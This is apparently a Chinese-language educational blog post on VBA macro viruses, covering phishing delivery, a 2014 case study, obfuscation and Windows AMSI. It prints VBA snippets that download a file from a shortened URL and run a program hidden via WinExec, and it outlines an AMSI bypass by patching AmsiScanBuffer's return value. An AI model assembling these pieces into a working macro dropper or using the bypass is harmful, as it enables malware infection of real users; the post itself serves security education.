VBA macro virus

07 November 2020

VBA macro

macro(巨集)是一種自動化的script, 尤其用於windows系統的word,ppt,excel等等office工具裡. 目的是讓很多行為能夠自動化,讓使用者能夠更簡單快速使用一些tool. 某方面可以想像成快捷鍵的概念, 把一堆你常用的指令,例如ppt加上新的slide和模板,文字等等的弄成一個腳本(巨集),之後可以透過點選巨集或者執行script方式自動做這些事情,使用者就不用人工自己新增slide和模板.

Virtual Basic for applications(VBA)就是上述講到office工具自動化腳本的程式語言.

詳細語法請參考VBA in-depth introduction

Macro Virus

就上述所說, vba script是一個自動化script幫助使用者自動化某些用office工具時常做的事情. 但vba script能做的事不只單純自動化步驟,他還能import其他windows的library或者執行windows的API,例如以下例子
利用WMI的api來讀取目前的running process

Sub GetProcessList()
    Set objServices = GetObject("winmgmts:\.\root\CIMV2")
    Set objProcessSet = objServices.ExecQuery( _
        "SELECT Name FROM Win32_Process", , 48)
    For Each Process In objProcessSet
        Debug.Print "Process: " & Process.name
    Next
End Sub

此外vba還能夠儲存檔案或者呼叫惡意的DLL,連線到c2 server,能做的事情非常多,也因此除了能竊取電腦上的資訊外,也能執行已經在電腦裡的惡意程式或者dll2的部分. 原先目的是為了方便存取遠端的xml檔,但也允許了下載遠方惡意程式碼的可能.

從遠端把檔案載下來

Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" ( _
    ByVal pCaller As LongPtr, _
    ByVal szURL As String, _
    ByVal szFileName As String, _
    ByVal dwReserved As Long, _
    ByVal lpfnCB As LongPtr _
) As Long

Sub DownloadFile()
     URLDownloadToFileA 0, "https://bit.ly/2B1GCyQ", "ts.jpg", 0, 0
End Sub

執行惡意程式碼

Declare Function WinExec Lib "kernel32" ( _
     ByVal lpCmdLine As String, _
     ByVal nCmdShow As Long _
) As Long

Const SHOW_HIDE As Long = 0

Sub ExecuteFile ()
     WinExec "C:\Windows\System32\notepad.exe", SHOW_HIDE
End Sub

All the code in this section credit to trustedsec.com

Phishing

但要執行Macro virus一個先決條件就是要執行他,他不是直接下載到電腦上就會自動執行的script, 像剛剛所說他是為了方便ppt, word這類工具自動化, 所以其實vba script更多是存在doc,ppt的檔案內. 當使用者點開這些檔案後,電腦理論上會詢問是否要執行檔案裡的巨集,就是在問是否要執行這些script. 點選同意才會執行這些script. 因此整個流程就會很像釣魚, 要設法讓使用者上當點開word,ppt並且同意巨集的執行才有機會執行到macro virus.

因此基本上macro virus的傳播就是透過檔案傳送給使用者, 使用者點開才會有用, 它不能像wannaCry那樣自動去感染其他電腦.

CaseStudy: Woolen-GoldFish

這是一個2014年典型的macro virus的攻擊手法

  1. 使用者收到釣魚信件,裡面有excel的attachment, excel內涵有惡意的macro
  2. 使用者下載並點開excel, macro virus執行, 從遠端下載惡意DLL(or somehow也附在信件裡了)
  3. Macro執行惡意DLL

Obfustication

單純vba這樣的作法一定很容易就被防毒軟體察覺出來, 因此有些obfusticate的方法來bypass antimalware
reference裡提供一種VBad tool, 他會把出現在vba script裡的string都做xor加密, 然後把vba裡的token(function name, variable name做renaming).
其餘還有像是vba script allocate一塊virtual memory, 動態載入惡意script到memory, 導致整段惡意程式行為從來就不是以檔案方式在電腦,也沒有進去disk過,而是直接出現在memory端(reference:MicroSoft AMSI) ,因此靜態偵測是不容易發現的.

AMSI

Antimalware Scan Interface(AMSI) 是一個windows內部的防毒的service. 他能夠有效的偵測macro的malware, 就算這些malware有做obfusticate. 因為他是做dynamic analysis, AMSI除了看vba script的pattern外,也會動態去看他執行那些function,system call藉此來擋住macro virus, 這也是macro virus式微的一個原因(當然更早前微軟就有針對這個病毒做很多的防護)

AMSI bypass

不少研究人員也開始想說有沒有辦法bypass AMSI的偵測.
一種方法是script呼叫AMSI本身的library function硬把判斷程式惡意程度的function call return值改成0(AMSIScanBuffer),但這並沒有辦法bypass AMSI的scanning(因為AMSI知道後當然也會特別關注這樣的行為的程式R…), 但主要概念就是利用這種方式把AMSI對程式的評分降成0(代表非惡意程式), 詳細可以參照Reference

Reference

AMSI bypass
heap-based AMSI bypass
AMSI bypass-2

Reference

VBA in-depth introduction
VBad obfustication tool
TrendMicro W97M cases
Woolen-GoldFish
TrendMicro Woolen-GoldFish Full Doc
MicroSoft AMSI